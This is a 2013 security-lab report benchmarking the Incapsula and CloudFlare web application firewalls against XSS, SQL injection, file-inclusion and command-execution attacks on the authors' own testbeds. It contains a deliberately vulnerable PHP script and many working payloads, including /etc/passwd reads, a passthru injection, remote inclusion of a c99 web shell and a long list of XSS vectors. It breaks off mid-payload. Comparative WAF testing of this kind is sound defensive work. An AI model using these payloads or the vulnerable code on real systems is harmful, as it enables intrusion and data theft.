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Summary 

This document contains the results of a second comparative penetration test conducted by a team of security 

specialists at Zero Science Lab against two cloud-based Web Application Firewall (WAF) solutions: Incapsula and 

Cloudflare. This test was designed to bypass security controls in place, in any possible way, circumventing whatever 

filters they have. Given the rise in application-level attacks, the goal of the test was to provide IT managers of online 

businesses with a comparison of these WAFs against real-world threats in simulated real-world conditions. 

Zero Science Lab is a Macedonian Information Security Research and Development Laboratory that specializes in 

information security hardening, consulting, network security, vulnerability research, software and hardware security 

assessment, penetration testing, malware analysis, forensics and much more - http://www.zeroscience.mk 

Background 

In February 2013, we conducted the first comparative pentest analysis of the CloudFlare, Incapsula and ModSecurity 

Web Application Firewall (WAF) solutions. The goal of a WAF is to block hacker attacks / unwanted malicious traffic 

to your web application with as few false positives as possible. 

Since then, all three vendors had replied to the findings, applying patches to the discovered bypasses and improving 

their products to protect their customers from web attacks. In August 2013, CloudFlare even launched a new rule-

based WAF to augment their existing heuristics-based WAF (which we used in the first pentest). Since Incapsula also 

uses a rule-based approach, we decided that now is a good time to run a follow-up pentest comparison, this time 

focusing only on CloudFlare's new WAF and Incapsula's WAF. Over the past 8 months, both vendors have improved 

their firewall solution by adding extra features, upgrading the rulesets and signature detection algorithms. 

The difference between this report and the previous one is that now we have focused more on real-world web 

application exploitation applying known encoding techniques, as well as the rate of false positives. 

Results 

1. Attack Vector coverage 

The table below shows the overall statistics of the exploits testing: 

WAF Pentesting - October 2013 
Incapsula 

"Business" Plan 
$59/Site/Month 

CloudFlare 
"Business" Plan 

New Rule-based WAF 
$200/Site/Month 

Total XSS Tests 124 124 

XSS Bypassed 2 11 

XSS Blocked 122 113 

Total SQLi Tests 221 221 

SQLi Bypassed 1 102 

SQLi Blocked 220 119 

Total LFI/RFI Tests 25 25 

LFI/RFI Bypassed 4 25 

LFI/RFI Blocked 21 0 

Total RCE Tests 15 15 

RCE Bypassed 2 12 

RCE Blocked 13 3 

 

http://www.zeroscience.mk/
http://zeroscience.mk/files/wafreport2013.pdf


2. WAF evasion techniques 

Blackbox penetration test was conducted against the two services (using their respective Business Plans), applying 

known filter evasion techniques to bypass their web application firewall solution using real-world scenarios and 

variety of attack vectors. 

We wanted to check how the WAFs deal with evasion techniques, and we took common vectors for each rule and 

obfuscated them using different evasion techniques like: 

 Multi-parameter vectors 

 Microsoft Unicode encoding 

 Invalid characters 

 SQL comments 

 Redundant white space 

 HTML encoding for XSS 

 Javascript escaping for XSS 

 Hex encoding for XSS 

 Character encoding for Directory Traversal 

 

 
WAF Evasions Pentesting - October 2013 

 

Incapsula 
"Business" Plan 
$59/Site/Month 

CloudFlare 
"Business" Plan 

New Rule-based WAF 
$200/Site/Month 

Total SQLi Evasions 5 5 

SQLi Evasions Bypassed 1 4 

SQLi Evasions Blocked 4 1 

Total LFI/RFI Evasions 4 4 

LFI/RFI Evasions Bypassed 0 4 

LFI/RFI Evasions Blocked 4 0 

Total XSS Evasions 7 7 

XSS Evasions Bypassed 1 3 

XSS Evasions Blocked 6 4 

 

 

 

 

 

 

 

 

 



3. Known Vulnerabilities Handling 

Each of the exploits was executed with their default given payload. After that, we applied the evasion techniques on 

the same payloads and mark the results. Below is a table that gives you an overview of which vulnerability was 

blocked and which vulnerability has bypassed the WAF mechanisms for detecting known web application exploits.  

Results (overview of real apps exploit bypass list): 

Application and vulnerability 
Incapsula 

"Business" Plan 
$59/Site/Month 

CloudFlare 
"Business" Plan 

New Rule-based WAF 
$200/Site/Month 

1. Practico CMS 13.7 Auth Bypass SQL Injection Blocked Bypassed 

2. WP NOSpamPTI Plugin Blind SQL Injection  Blocked Bypassed 

3. WP TimThumb Plugin Remote Code Execution Blocked Bypassed 

4. WP W3 Total Cache Plugin PHP Code Execution  Blocked Blocked 

5. webgrind 1.0 Local File Inclusion Vulnerability  Bypassed Bypassed 

6. Newsletter Tailor 0.2.0 Remote File Inclusion  Blocked Bypassed 

7. Apache Struts <2.2.0 Command Execution  Blocked Blocked 

8. Apache Struts includeParams RCE <  2.3.14.2  Blocked Blocked 

9. Apache Struts < 2.2.3 Multiple RCE  Blocked Blocked 

10. GLPI SQL Injection and Remote Code Execution Bypass Bypassed Bypassed 

 

4. False Positives 

Obviously a key evaluation criteria for a WAF is to be able to block as many attack variants as possible. However, in 

real life scenarios there is another evaluation criteria that is as important – not blocking legitimate users.  

Testing for false positives is not a trivial task and the way we have decided to run this test is to simulate an 

administrator that is updating the application HTML. You would find this action in any CMS and it is specifically prone 

to false positives in XSS filters that look for suspicious HTML and Javascript code. 

From our tests it seems that Incapsula has a mechanism to detect what CMS is installed on the web server and to 

automatically detect and whitelist legitimate administrative actions. 

On the other hand CloudFlare’s aggressive XSS filter blocked legitimate attempts to upload HTML and Javascript 

code to the application through the CMS built in functions. 

 

User action 
Incapsula 

"Business" Plan 
$59/Site/Month 

CloudFlare 
"Business" Plan 

New Rule-based WAF 
$200/Site/Month 

Upload HTML to WordPress Passed Passed 

Upload Javascript code to WordPress Passed Blocked (False Positive) 

PHPMyAdmin SQL Query Passed Blocked (False Positive) 

Joomla Save Global Configuration Blocked (False Positive) Passed 

 



Conclusion 

From the results table, we can see that Incapsula's WAF continues to have an advantage over CloudFlare's WAF. We 

should also mention that only Incapsula's WAF is PCI-Certified, which is an advantage for certain types of online 

businesses. 

While CloudFlare's new WAF solution showed substantial improvement since the first penetration test, it still does 

not provide the comprehensive level of security against certain types of web application attacks (e.g., SQL injection, 

Remote File Inclusion) that many online businesses today require.  

We noticed the high block ratio of XSS attacks, but from all the types of attacks, main focus was on Cross-Site 

Scripting. The SQL Injection, Local and Remote File Inclusion, and Remote Code/Command Execution attacks had 

very low detection rate by the CloudFlare WAF. 

Incapsula, on the other hand, has shown consistent security performance in both tests, with a high block ratio and 

few false-positives.  

 

 

 

 
 
 
 
 
 
 

 

 

 

 

 



Intro 

Both Incapsula and CloudFlare WAF services have improved their protection mechanisms and detection 

methodologies since the previous evaluation.  That being said, we decided to put them on yet another heavy test 

and see what filters we can evade/bypass. All the settings were set to maximum level of protection in both testing 

environments. 

This time we used several real-world applications vulnerable to different types of attack vectors to simulate a real 

hacking scenario against the firewall services of both vendors. 

Along with the vulnerable applications, we used an improved PoC script file to test the solutions against generic 

attack vectors and their learning mechanisms. This script was written by us and it basically allows calling unsanitized 

input from the users which allowed us to exploit it and manipulate the results in several ways which would confirm 

100% whether or not the filter was indeed working as expected. 

 

Setup and configuration 

We're not going in details on how to setup CloudFlare and Incapsula services. Refer to the previous report for more 

details. All we can say here is that the infrastructure design has remained the same which is the WAF sitting in front 

of the dedicated server, intercepting all requests that are destined for it. The setup process from client's perspective 

has stayed the same as well. We've set everything to 'ON' and 'HIGH' for both WAF options. 

 

  

 
 

CloudFlare WAF Settings 

 
 

Incapsula WAF Settings 

 

 

 

 

http://www.zeroscience.mk/files/wafreport2013.pdf


Targets and tools 

For this occasion we've created two separate testbeds on separate server host machines. 

- CloudFlare - cf.destr0y.net 

- Incapsula - in.zeroscience.mk, inc.zeroscience.mk, inc.destr0y.net, 4sylum.elgringodelanoche.com 

The testbed servers were running Apache web server with PHP and MySQL DBMS. Both the servers had the 'poc.php' 

script deployed, which is vulnerable to Cross-Site Scripting, SQL Injection, Local and Remote File Inclusion, Cookie 

Poisoning and Command Execution attacks. We also installed several real-world web applications that are vulnerable 

to different attack vectors. 

Practico CMS 13.7 Auth Bypass SQL Injection - by shiZheni (http://www.exploit-db.com/exploits/28129) 

Practico CMS contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php 

script not properly sanitizing user-supplied input to the 'uid' parameter. This may allow an attacker to inject or manipulate SQL 

queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. 

WP NOSpamPTI Plugin Blind SQL Injection - by Alexandro Silva (http://www.exploit-db.com/exploits/28485) 

NOSpamPTI contains a flaw that may allow an attacker to carry out a Blind SQL injection attack. The issue is due to the wp-
comments-post.php script not properly sanitizing the comment_post_ID in POST data. This may allow an attacker to inject or 
manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. 

 

WP TimThumb Plugin Remote Code Execution - by Mark Maunder (http://www.exploit-db.com/exploits/17602) 

TimThumb is prone to a Remote Code Execution vulnerability, due to the script does not check remotely cached files properly. By 

crafting a special image file with a valid MIME-type, and appending a PHP file at the end of this, it is possible to fool TimThumb 

into believing that it is a legitimate image, thus caching it locally in the cache directory. 

WP W3 Total Cache Plugin PHP Code Execution - by Unknown (http://osvdb.org/show/osvdb/92652) 

W3 Total Cache Plugin for WordPress contains a flaw that is due to the program failing to properly restrict access to the mclude 

and mfunc PHP code inclusion macros. This may allow a remote attacker to insert and execute arbitrary PHP code. 

webgrind 1.0 Local File Inclusion Vulnerability - by Michael Meyer (http://www.exploit-db.com/exploits/18523) 

webgrind suffers from a file inclusion vulnerability (LFI) when input passed thru the 'file' parameter to index.php is not properly 

verified before being used to include files. This can be exploited to include files from local resources with directory traversal 

attacks and URL encoded NULL bytes. 

Newsletter Tailor 0.2.0 Remote File Inclusion - by Snakespc (http://www.exploit-db.com/exploits/11378) 

Newsletter Tailor contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to 

the index.php script not properly sanitizing user input supplied to the 'p' parameter. This may allow an attacker to include a file 

from a third-party remote host that contains commands or code that will be executed by the vulnerable script with the same 

privileges as the web server. 

Apache Struts <2.2.0 Command Execution - by Meder Kydyraliev (http://www.exploit-db.com/exploits/14360) 

Apache Struts versions < 2.2.0 suffers from a remote command execution vulnerability. This issue is caused by a failure to 

properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted 

request to the Struts application it is possible to bypass the "#" restriction on ParameterInterceptors by using OGNL context 

variables. Bypassing this restriction allows for the execution of arbitrary Java code. 

 

http://www.exploit-db.com/exploits/28129
http://www.exploit-db.com/exploits/28485
http://www.exploit-db.com/exploits/17602
http://osvdb.org/show/osvdb/92652
http://www.exploit-db.com/exploits/18523
http://www.exploit-db.com/exploits/11378
http://www.exploit-db.com/exploits/14360


Apache Struts includeParams RCE <  2.3.14.2 - by Eric K., Douglas R. (http://www.osvdb.org/show/osvdb/93645) 

Apache Struts contains a flaw that may allow an attacker to execute arbitrary commands. The issue is due to the handling of the 

includeParams attribute in the URL and Anchor tags. With a specially crafted request parameter, an attacker could inject 

arbitrary OGNL code that would be evaluated. In addition, a second evaluation of attacker supplied input can occur when the URL 

or Anchor tag tries to resolve arbitrary parameters, that would be evaluated as an OGNL expression. 

Apache Struts < 2.2.3 Multiple RCE - by Takeshi Terada (http://www.securityfocus.com/bid/61189) 

Apache Struts is prone to multiple remote command-execution vulnerabilities. Successful exploits will allow remote attackers to 

execute arbitrary commands within the context of the affected application. 

GLPI < 0.84.1 Arbitrary PHP Code Injection - by High-Tech Bridge SA (http://www.exploit-db.com/exploits/28685) 

GLPI suffers from an insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and 

"databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] 

before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable 

system. 

Joomla CMS 3.1.5, WordPress 3.6.1 and phpMyAdmin 4.0.8 - False Positives Front 

 

99% of the test was manually approached, but we used several tools for fuzzing and automation to see how the 

WAFs will behave on scanners and session tracking. 

Tools used: 

 Acunetix Web Vulnerability Scanner 

 Havij SQL Injection Tool 

 Burp Suite 

 OWASP Zed Attack Proxy (ZAP) 

 TamperData 

 Firebug 

 Cookies Manager+ 

 CookieMonster 

 HttpFox 

 Live HTTP Headers 

 tcpdump 

 Wireshark 

 Metasploit Framework 

 

We used the following browsers: 

 Mozilla Firefox 

 Microsoft Internet Explorer 

 Google Chrome 

 Opera 

 Apple Safari 

 Iceweasel 

 

 

http://www.osvdb.org/show/osvdb/93645
http://www.securityfocus.com/bid/61189
http://www.exploit-db.com/exploits/28685


Contents of poc.php: 

<html><title> RFI/LFI/SQLI/XSS PoC App </title><body> 

<h1>PoC:</h1> 

- Search - sql inj<br /> 

- Search2 - concat sql inj<br /> 

- cmd - rfi inj<br /> 

- cmd2 - lfi inj<br /> 

- x - xss parameter<br /> 

- cookie &amp;hallo&amp; - xss cookie<br /> 

- cookie &amp;notification&amp; - sqli cookie<br /> 

- cookie &amp;segment&amp; - lfi cookie<br /> 

- cookie &amp;market&amp; - rfi cookie<br /> 

<br /> 

<?php 

 

$username="zslsu"; 

$password="changeme"; 

$db="zsldb"; 

mysql_connect(localhost,$username,$password) or die("NO NO!"); 

mysql_select_db($db); 

 

$query=$_GET["Search"]; 

if(isset($query)){ 

        $results=mysql_query($query); 

        if($results != null){ 

                        print_r (mysql_fetch_row($results)); 

        }else{ 

                        echo "Zero findings..."; 

        } 

        mysql_close(); 

} 

 

$s2=$_GET["Search2"]; 

if(isset($s2)){ 

  $lq = "select * from testwaf where testzsl ='$s2'"; 

  $results2=mysql_query($lq); 

  if($results2 != null){ 

                        print_r (mysql_fetch_row($results2)); 

        }else{ 

                        echo "Zero findings..."; 

        } 

        mysql_close(); 

} 

 

$cmd=$_GET["cmd"]; 

if(isset($cmd)){ 

        echo "<br /<br />RFI results-"; 

        passthru($cmd); 

} 

 

$cmd2=$_GET["cmd2"]; 

if(isset($cmd2)){ 

        echo "<br /><br />LFI results-"; 

        include($cmd2); 

} 

 

$x = $_GET["x"]; 

if(isset($x)){ 

         echo "<h2>".$x."</h2>"; 

} 

 

$cook1 = $_COOKIE['hallo']; 

if(isset($cook1)){ 

         echo "<h2>HELLO: ".$cook1."</h2>"; 

} 

 

$cook2 = $_COOKIE['notifications']; 

if(isset($cook2)){ 

         $lq = "select * from testwaf where testzsl ='$cook2'"; 

  $results2=mysql_query($lq); 

  if($results2 != null){ 

                        echo "New notifications:";  print_r (mysql_fetch_row($results2)); 

        }else{ 

                        echo "Zero findings..."; 

        } 

        mysql_close(); 

} 

 

$cook3 = $_COOKIE['segment']; 

if(isset($cook3)){ 

        echo "<br /><br />Segment Cookie LFI results-"; 

        include($cook3); 

} 

 

$cook4 = $_COOKIE['market']; 

if(isset($cook4)){ 

        echo "<br /<br />Market cookie RFI results :)-"; 

        passthru($cook4); 

} 

?> <br /></body></html> 
 



Testing and analysis 

From previous report, Incapsula patched the bypasses and has improved their WAF and even included a new 

separate control for RFI attacks. 

CloudFlare having in mind our previous results has introduced a much improved WAF based on OWASP Core Rule Set 

(ModSecurity). However, there are lots of bypasses present in the newly upgraded WAF solution.  

We noticed only a few false positives in CloudFlare while doing regular tasks, using a legitimate application from 

regular user's perspective. Given the fact that the False Positives test was executed using phpMyAdmin, this was 

more than expected. 

Incapsula on the other hand had also a few false positives, including simple Joomla administrator actions. Unlike 

Cloudflare, Incapsula offers a great option for whitelisting the request URL and the affected parameter, which allows 

the WAF administrator to resolve incidents of this kind at any time. 

What’s also important to note is that Incapsula can recognize an ongoing attack and block attacker's session. We 

specifically noticed this during the test using automated tools such as ZAP and Burp. Their blocking mechanism 

seems to be based on recognizing the fingerprint of the tool being used, so even if you try to trick it by changing the 

default User-Agent or manipulating other header fields, the WAF will still block your session. We didn't notice such 

mechanism on CloudFlare's WAF. CloudFlare blocks a session only if an attacker tries to manipulate and send invalid 

headers. 

XSS vectors: 

 

 Vectors making use of HTML5 features 

 Vectors working on HTML4 and older versions 

 Cascading stylesheet injection based vectors 

 Plain JavaScript vectors 

 E4X vectors working on gecko based browsers 

 Vectors attacking DOM properties and methods 

 JSON based vectors 
 

 Vectors embedded in SVG files 

 Vectors related to X(HT)ML 

 UTF7 and other exotic charset based vectors 

 Client side denial of service vectors 

 HTML behavior and binding vectors 

 Clickjacking and UI Redressing vectors 

 

 

 

 

 

 

 

 

 

 

 



Results (CloudFlare): 

 

Webgrind Local File Inclusion Bypass: 

http://cf.destr0y.net/webgrind/index.php?file=/etc/passwd&op=fileviewer 

 

 

GLPI SQL Injection and Remote Code Execution Bypass: 

 

<form action="http://cf.destr0y.net/glpi/install/install.php" method="post" 

name="main"> 
<input type="hidden" name="install" value="update_1"> 
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> 
<input type="submit" id="btn"> 
</form> 
 

 



http://cf.destr0y.net/glpi/index.php?cmd=ls%20-la;%20id;%20pwd;cat%20/etc/passwd 

 

 

 

Newsletter Tailor Remote File Inclusion Bypass: 

http://cf.destr0y.net/list/admin/index.php?p=http://in.zeroscience.mk/info.php? 

 

 

 

 

 



http://cf.destr0y.net/list/admin/index.php?p=http://in.zeroscience.mk/pentest/c99.php? 

 

 

 

Practico SQL Injection Authentication Bypass: 

POST /practico/ HTTP/1.1 

Host: cf.destr0y.net 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 73 

Connection: keep-alive 

Accept-Encoding: gzip, deflate 

 

accion=Iniciar_login&uid=admin%27+AND+1%3D1%23&clave=password&captcha=vhw3 

 

 

 

 



TimThumb Remote File Include Bypass: 

http://cf.destr0y.net/wp/wp-

content/plugins/timthumb/cache/external_3ad96be987d746db968ebaa77c49900e.php 

 

 

 

WP Plugin NoSpamPTI Blind SQL Injection Bypass: 

<form novalidate="" class="comment-form" id="commentform" method="post" 

action="http://cf.destr0y.net/wp/wp-comments-post.php"> 

<input type="submit" value="Post Comment" id="submit" name="submit"> 

<input type="hidden" id="comment_post_ID" value="1 AND SLEEP(15)" 

name="comment_post_ID"> 

<input type="hidden" value="0" id="comment_parent" name="comment_parent"> 

</form> 

  

 
 



 

 

Cookie Poisoning Bypass (XSS, SQLi, RFI, LFI, CMDexec): 

CloudFlare doesn't check the Cookie value or any other HTTP header field (except User-Agent) for  malicious strings. 

To prove this, we successfully managed to exploit the cookie vulnerabilities in the PoC script. 

Cookie XSS Bypass: 

Cookie value: hallo=J0xy0L </h2><script>alert(document.cookie)</script> 

 

 



Cookie CMDExec Bypass: 

Cookie value: market=uname -a; 

 

 

Cookie LFI/RFI Bypass: 

Cookie value: segment=http://zeroscience.mk/pentest/tim.php 

 

 

 



Cookie SQLi Bypass: 

Cookie value: notifications=dasdsa' union select* from testwaf;# 

 

 

Directory Traversal Bypass using Burp: 

 



Apache Struts Block (msf): 

 

 

 

SQL Injection Fuzz (ZAP) Block: 

 

 

 

 

 

 

 

 

 



WP W3 Total Cache Plugin PHP Code Execution Block: 

<textarea aria-required="true" rows="8" cols="45" name="comment" id="comment"><!--mfunc 

eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc--></textarea> 

 

 

 



User-Agent HTTP Header Field  XSS Block: 

UA value: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0"><script>alert(1);</script> 

 

 

 

False Positive (phpMyAdmin): 

http://cf.destr0y.net/phpma/querywindow.php?token=69aadcf21a9e2c2815d9e1be2c873f53&server=1&db=zslwaf

&table=testwaf&sql_query=SELECT%20*%20FROM%20%60testwaf%60%20WHERE%20%60testzsl%60%3D1&init=1 

(?) 

Unlike Incapsula, CloudFlare does not offer an option to whitelist the requests and parameters but rather whitelist 

the IP of the user. 

 

 



Results (Incapsula): 

 

Webgrind Local File Inclusion Bypass: 

Seems its configured to detect and trigger on hardcoded values (I.E: /etc/hosts, /etc/passwd). The vulnerability can 

still be used to read other valuable files on the system. For example:  

http://in.zeroscience.mk/webgrind/index.php?op=fileviewer&file=/var/www/wp/wp-config.php 

 

 

   

 

 

 

 

 

 



GLPI SQL Injection and Remote Code Execution Bypass: 

 

<form action="http://inc.destr0y.net/glpi/install/install.php" method="post" 

name="main"> 
<input type="hidden" name="install" value="update_1"> 
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> 
<input type="submit" id="btn"> 
</form> 
 

 

 

 

 

 

 

 



Practico SQL Injection (HTML encoded hex) Block: 

POST /practico/ HTTP/1.1 

Host: 4sylum.elgringodelanoche.com 

Content-Type: application/x-www-form-urlencoded 

 

accion=Iniciar_login&uid= admin' AND 230984752 &#61; 
230984752#&clave=admin&captcha=rxbg 

 

 

 

Accept-Encoding HTTP Header Field XSS Bypass: 

AE value: gzip, deflate"><script>alert(1);</script> 

 

 



User-Agent HTTP Header Field XSS Bypass: 

UA value: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 

Firefox/24.0"><script>alert(document.cookie)</script> 

 

Remote File Include Bypass (questionable (captcha)): 

 



 

 

Apache Struts Block (tcpdump): 

 

        

 

 

 

 

 

 

 



Cross-Site Scripting Bypass: 

http://inc.zeroscience.mk/poc.php?x=%3Cform%20id=test%20onforminput=alert(1)%3E%3Cinput%3E%3C/form%3E

%3Cbutton%20form=test%20onformchange=alert(/XSS/)%3EX%3C/button%3E 

 

 

 

 

XSS Fuzz (Burp) Block: 

 

 

 

 

 



WP Plugin NoSpamPTI Blind SQL Injection Block: 

<form novalidate="" class="comment-form" id="commentform" method="post" 

action="http://in.zeroscience.mk/wp/wp-comments-post.php"> 

<input type="submit" value="Post Comment" id="submit" name="submit"> 

<input type="hidden" id="comment_post_ID" value="1 AND SLEEP(15)" 

name="comment_post_ID"> 

<input type="hidden" value="0" id="comment_parent" name="comment_parent"> 

</form> 

 

 

 

Newsletter Tailor Remote File Inclusion Block: 

http://in.zeroscience.mk/list/admin/index.php?p=http://zeroscience.mk/pentest/tim.php 

 

 



TimThumb Remote File Include Block: 

http://in.zeroscience.mk/wp/wp-

content/plugins/timthumb/timthumb.php?src=http://zeroscience.mk/pentest/tim.php.php 

 

 
 

 

 



WP W3 Total Cache Plugin PHP Code Execution Block: 

<textarea aria-required="true" rows="8" cols="45" name="comment" id="comment"><!--mfunc 

eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc--></textarea> 

 

 

 

False Positive (Joomla): 

Due to suspicious values being hardcoded as even triggers, Incapsula blocks legitimate access to applications with 

those keywords in the content/paylod.  

For example, any comments in blogs or web content containing any of these keywords will cause Incapsula to deny 

access. As an example, any IT helpdesk blog with content containing strings such as /etc/passwd, /etc/hosts.  

Access denied was presented to us when saving the global configuration in Joomla CMS because of the POST 

parameter 'jform[sendmail]' with value: /usr/sbin/sendmail...also when tried to install any extension we get blocked, 

but we can add the parameter and the request URL to the whitelist excluding this particular false positive. 

  

POST http://in.zeroscience.mk/joomla/administrator/index.php?option=com_config HTTP/1.1 

   - jform[sendmail]=/usr/sbin/sendmail 

 

POST http://in.zeroscience.mk/joomla/administrator/index.php?option=com_installer&view=install 

   - joomla extension install (RFI FP) 



 

 
 

 

 

 

 



Afterthoughts 

We can conclude and confirm that both solutions have improved over the course of this year. And that’s really good 

to see. Incapsula has invested more into blocking real life attacks on real apps. Their session blocks works pretty 

good against automated attacks but it didn’t block our sessions while doing the manual testing. They might want to 

put some more effort into that. 

CloudFlare has made a big step forward by introducing a new WAF solution knowing that in the previous result they 

were rock bottom and basically didn’t stop any attacks. Their new solution is fine but they still have lots of work to 

do and put it on Incapsula level. 

We also noticed that CloudFlare has a high protection rate for XSS attacks than SQLi and LFI/RFI combined. 

As we’ve shown in the Results part, both Incapsula and CloudFlare, don’t block malicious request with values sent in 

HTTP Headers. This leaves an open door for attacker to exploit vulnerabilities of such kind. We specifically tested this 

with Cookie XSS, LFI, RFI, CMD Execution vulnerabilities in the PoC script. Here is a list of few public cookie poisoning 

vulnerabilities to show the real life relevance of this issue: 

 ClanSphere 2011.3 Local File Inclusion - http://www.exploit-db.com/exploits/22181  

 Aleza Portal v1.6 Insecure (SQLi) Cookie Handling - http://www.exploit-db.com/exploits/15144  

 Seo Panel 2.2.0 Cookie-Rendered Persistent XSS Vulnerability - http://www.exploit-db.com/exploits/16000  

 AV Arcade v3 Cookie SQL Injection Authentication Bypass - http://www.exploit-db.com/exploits/14494 

 Website Baker Version <2.6.5 SQL Injection - http://www.securityfocus.com/archive/1/457684  

 SetSeed CMS 5.8.20 (loggedInUser) SQL Injection - http://www.exploit-db.com/exploits/18065 
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APPENDIX 

 

CloudFlare 

RCE Blocked: 

http://cf.destr0y.net:8080/struts2-showcase-
2.1.8/showcase.action?action:%25{Runtime.getRuntime%28%29.exec%28%22mkdir%20/tmp/WTFFF%22%29} 
 

 

RCE Bypass: 

http://cf.destr0y.net/glpi/index.php?cmd=ls%20-la;%20id;%20pwd;cat%20/etc/passwd 
http://cf.destr0y.net/wp/wp-
content/plugins/timthumb/cache/external_3ad96be987d746db968ebaa77c49900e.php 
http://cf.destr0y.net/list/admin/index.php?p=http://in.zeroscience.mk/info.php? 
http://cf.destr0y.net/list/admin/index.php?p%3Dhttp://in.zeroscience.mk/info.php? 
http://cf.destr0y.net/list/admin/index.php?p&#61http://in.zeroscience.mk/info.php? 
http://cf.destr0y.net/list/admin/index.php?p=http://in.zeroscience.mk/info.php???????? 
http://cf.destr0y.net/list/admin/index.php%3fp%3dhttp%3a%2f%2fin.zeroscience.mk/info.php? 

 

 

XSS Blocked: 

http://cf.destr0y.net/poc.php?x=%3Cinput%20onfocus=write%28document.cookie%29%20autofocus%3E 
http://cf.destr0y.net/poc.php?x=%3Cinput%20onfocus=write%28document.location.href=%27http://zeroscience.mk
%27%29%20autofocus%3E 
 
so it blocks the document.location.href and document.cookie payloads but not document.location. 
 
 
http://cf.destr0y.net/poc.php?x=%3Cstyle%3E*[{}@import'test.css?]{color:%20green;}%3C/style%3EX 
http://cf.destr0y.net/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%22%
20formaction=%22javascript:alert(1)%22%3EX%3C/button%3E 
http://cf.destr0y.net/poc.php?x=%3Cinput%20onfocus=write(%3Ciframe%20src=http://zeroscience.mk%3E)%20aut
ofocus%3E 
http://cf.destr0y.net/poc.php?x=%3Cinput%20onblur=write(javascript:alert(1))%20autofocus%3E%3Cinput%20autof
ocus%3E 
http://cf.destr0y.net/poc.php?x=%3Cform%20id=test%20onforminput=alert(1)%3E%3Cinput%3E%3C/form%3E%3C
button%20form=test%20onformchange=alert(2)%3EX%3C/button%3E 
http://cf.destr0y.net/poc.php?x=%3Cvideo%3E%3Csource%20onerror=%22alert(1)%22%3E 
http://cf.destr0y.net/poc.php?x=%3Cvideo%20onerror=%22alert%281%29%22%3E%3Csource%3E%3C/source%3E%
3C/video%3E 
http://cf.destr0y.net/poc.php?x=%3Cframeset%20onload=alert(1)%3E 
http://cf.destr0y.net/poc.php?x=%3Ctable%20background=%22javascript:alert(1)%22%3E%3C/table%3E 
http://cf.destr0y.net/poc.php?x=%3C!--%3Cimg%20src=%22--
%3E%3Cimg%20src=x%20onerror=alert%281%29//%22%3E 
http://cf.destr0y.net/poc.php?x=%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20one
rror=alert%281%29//%22%3E 
http://cf.destr0y.net/poc.php?x=%3Csvg%3E%3C![CDATA[%3E%3Cimage%20xlink:href=%22]]%3E%3Cimg%20src=xx:
x%20onerror=alert%282%29//%22%3E%3C/svg%3E 
http://cf.destr0y.net/poc.php?x=%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=alert



%281%29//%22%3E 
http://cf.destr0y.net/poc.php?x=%3Cli%20style=list-style:url%28%29%20onerror=alert%281%29%3E%3C/li%3E 
http://cf.destr0y.net/poc.php?x=%3Cdiv%20style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden%2
0onload=alert(1)%3E%3C/div%3E 
http://cf.destr0y.net/poc.php?x=%3Chead%3E%3Cbase%20href=%22javascript://%22/%3E%3C/head%3E%3Cbody%
3E%3Ca%20href=%22/.%20/,alert(1)//#">XXX</a></body> 
http://cf.destr0y.net/poc.php?x=%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Ealert(1)%3C/SC
RIPT%3E 
http://cf.destr0y.net/poc.php?x=<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM 
NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> 
http://cf.destr0y.net/poc.php?x=%3Cobject%20data=%22data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2N
yaXB0Pg==%22%3E%3C/object%3E 
http://cf.destr0y.net/poc.php?x=%3Cembed%20src=%22data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2Ny
aXB0Pg==%22%3E%3C/embed%3E 
http://cf.destr0y.net/poc.php?x=%3Cb%20%3Cscript%3Ealert%281%29//%3C/script%3E0%3C/script%3E%3C/b%3E 
http://cf.destr0y.net/poc.php?x=%3Cimg%20src=x%20onerror=alert(3)//'%3E 
http://cf.destr0y.net/poc.php?x=%3Cembed%20src=%22javascript:alert(1)%22%3E%3C/embed%3E 
http://cf.destr0y.net/poc.php?x=%3Cimg%20src=%22javascript:alert(2)%22%3E 
http://cf.destr0y.net/poc.php?x=%3Cscript%20src=%22javascript:alert(3)%22%3E%3C/script%3E 
http://cf.destr0y.net/poc.php?x=%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=alert(1)%3Ex%3C/div%3E 
http://cf.destr0y.net/poc.php?x=%3Cobject%20allowscriptaccess=%22always%22%20data=%22test.swf%22%3E%3C
/object%3E 
http://cf.destr0y.net/poc.php?x=%3Cimg[a][b]src=x[d]onerror[c]=[e]%22alert(1)%22%3E 
http://cf.destr0y.net/poc.php?x=%3Ca%20href=%22[a]java[b]script[c]:alert(1)%22%3EXXX%3C/a%3E 
http://cf.destr0y.net/poc.php?x=%3Cimg%20src=%22x%60%20%60%3Cscript%3Ealert(1)%3C/script%3E%22%60%20
%60%3E 
http://cf.destr0y.net/poc.php?x=%3Cimg%20src%20onerror%20/%22%20'%22=%20alt=alert(1)//%22%3E 
http://cf.destr0y.net/poc.php?x=%3C!--%20%60%3Cimg/src=xx:xx%20onerror=alert(1)//--!%3E 
http://cf.destr0y.net/poc.php?x=%3Ca%20style=%22-o-link:'javascript:alert(1)';-o-link-
